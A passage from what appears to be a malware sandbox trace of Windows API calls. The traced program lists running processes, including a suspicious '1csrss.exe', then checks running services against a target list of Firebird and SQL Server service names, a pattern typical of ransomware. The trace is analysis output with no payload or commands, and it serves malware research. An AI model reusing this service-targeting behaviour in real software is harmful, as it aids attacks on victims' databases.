szExeFile="smss.exe")) returned 1 [0315.799] lstrlenW (lpString="smss.exe") returned 8 [0315.799] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0315.800] lstrlenW (lpString="csrss.exe") returned 9 [0315.800] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0315.801] lstrlenW (lpString="wininit.exe") returned 11 [0315.801] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0315.801] lstrlenW (lpString="csrss.exe") returned 9 [0315.801] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0315.802] lstrlenW (lpString="winlogon.exe") returned 12 [0315.802] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0315.803] lstrlenW (lpString="services.exe") returned 12 [0315.803] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0315.803] lstrlenW (lpString="lsass.exe") returned 9 [0315.803] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0315.804] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0315.804] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0315.805] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0315.805] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.805] lstrlenW (lpString="svchost.exe") returned 11 [0315.806] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.806] lstrlenW (lpString="svchost.exe") returned 11 [0315.806] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0315.807] lstrlenW (lpString="dwm.exe") returned 7 [0315.807] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.808] lstrlenW (lpString="svchost.exe") returned 11 [0315.808] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.808] lstrlenW (lpString="svchost.exe") returned 11 [0315.808] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.809] lstrlenW (lpString="svchost.exe") returned 11 [0315.809] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.810] lstrlenW (lpString="svchost.exe") returned 11 [0315.810] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.810] lstrlenW (lpString="svchost.exe") returned 11 [0315.810] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.811] lstrlenW (lpString="svchost.exe") returned 11 [0315.811] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.812] lstrlenW (lpString="svchost.exe") returned 11 [0315.812] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.812] lstrlenW (lpString="svchost.exe") returned 11 [0315.812] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.813] lstrlenW (lpString="svchost.exe") returned 11 [0315.813] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.814] lstrlenW (lpString="svchost.exe") returned 11 [0315.814] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0315.814] lstrlenW (lpString="spoolsv.exe") returned 11 [0315.814] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0315.815] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0315.815] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0315.816] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0315.816] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0315.816] lstrlenW (lpString="Memory Compression") returned 18 [0315.817] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.817] lstrlenW (lpString="svchost.exe") returned 11 [0315.817] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0315.818] lstrlenW (lpString="audiodg.exe") returned 11 [0315.818] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0315.819] lstrlenW (lpString="sihost.exe") returned 10 [0315.819] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.819] lstrlenW (lpString="svchost.exe") returned 11 [0315.819] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0315.820] lstrlenW (lpString="taskhostw.exe") returned 13 [0315.820] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0315.821] lstrlenW (lpString="explorer.exe") returned 12 [0315.821] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0315.821] lstrlenW (lpString="SearchUI.exe") returned 12 [0315.821] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0315.822] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0315.822] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0315.857] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0315.857] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0315.858] lstrlenW (lpString="1csrss.exe") returned 10 [0315.858] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.858] lstrlenW (lpString="svchost.exe") returned 11 [0315.858] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0315.859] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0315.859] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.884] lstrlenW (lpString="svchost.exe") returned 11 [0315.884] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0315.885] lstrlenW (lpString="consent.exe") returned 11 [0315.885] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0315.998] lstrlenW (lpString="dllhost.exe") returned 11 [0315.998] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0315.999] CloseHandle (hObject=0x52c) returned 1 [0315.999] Sleep (dwMilliseconds=0x1f4) [0316.560] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0316.560] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0316.561] GetLastError () returned 0xea [0316.561] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45fee88 [0316.561] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45fee88, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45fee88, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0316.561] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0316.562] lstrlenW (lpString="Appinfo") returned 7 [0316.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0316.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0316.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0316.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0316.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0316.562] lstrlenW (lpString="AppXSvc") returned 7 [0316.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0316.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0316.562] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0316.562] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0316.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0316.562] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0316.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0316.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0316.562] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0316.562] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0316.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0316.562] lstrlenW (lpString="Audiosrv") returned 8 [0316.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0316.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0316.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0316.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0316.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0316.562] lstrlenW (lpString="BFE") returned 3 [0316.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0316.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0316.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0316.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0316.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0316.562] lstrlenW (lpString="BITS") returned 4 [0316.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0316.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0316.563] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0316.563] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0316.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0316.563] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0316.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0316.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0316.563] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0316.563] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0316.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0316.563] lstrlenW (lpString="CDPSvc") returned 6 [0316.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0316.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0316.563] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0316.563] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0316.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0316.563] lstrlenW (lpString="ClickToRunSvc") returned 13 [0316.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0316.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0316.563] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0316.563] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0316.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0316.563] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0316.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0316.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0316.563] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0316.563] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0316.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0316.563] lstrlenW (lpString="CryptSvc") returned 8 [0316.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0316.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0316.563] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0316.563] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0316.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0316.564] lstrlenW (lpString="DcomLaunch") returned 10 [0316.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0316.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0316.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0316.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0316.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0316.564] lstrlenW (lpString="DeviceAssociationService") returned 24 [0316.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0316.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0316.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0316.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0316.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0316.564] lstrlenW (lpString="Dhcp") returned 4 [0316.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0316.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0316.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0316.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0316.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0316.564] lstrlenW (lpString="Dnscache") returned 8 [0316.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0316.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0316.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0316.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0316.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0316.564] lstrlenW (lpString="DoSvc") returned 5 [0316.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0316.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0316.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0316.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0316.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0316.564] lstrlenW (lpString="DPS") returned 3 [0316.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0316.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0316.565] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0316.565] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0316.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0316.565] lstrlenW (lpString="DusmSvc") returned 7 [0316.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0316.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0316.565] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0316.565] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0316.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0316.565] lstrlenW (lpString="EventLog") returned 8 [0316.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0316.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0316.565] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0316.565] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0316.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0316.565] lstrlenW (lpString="EventSystem") returned 11 [0316.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0316.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0316.565] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0316.565] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0316.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0316.565] lstrlenW (lpString="FontCache") returned 9 [0316.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0316.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0316.565] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 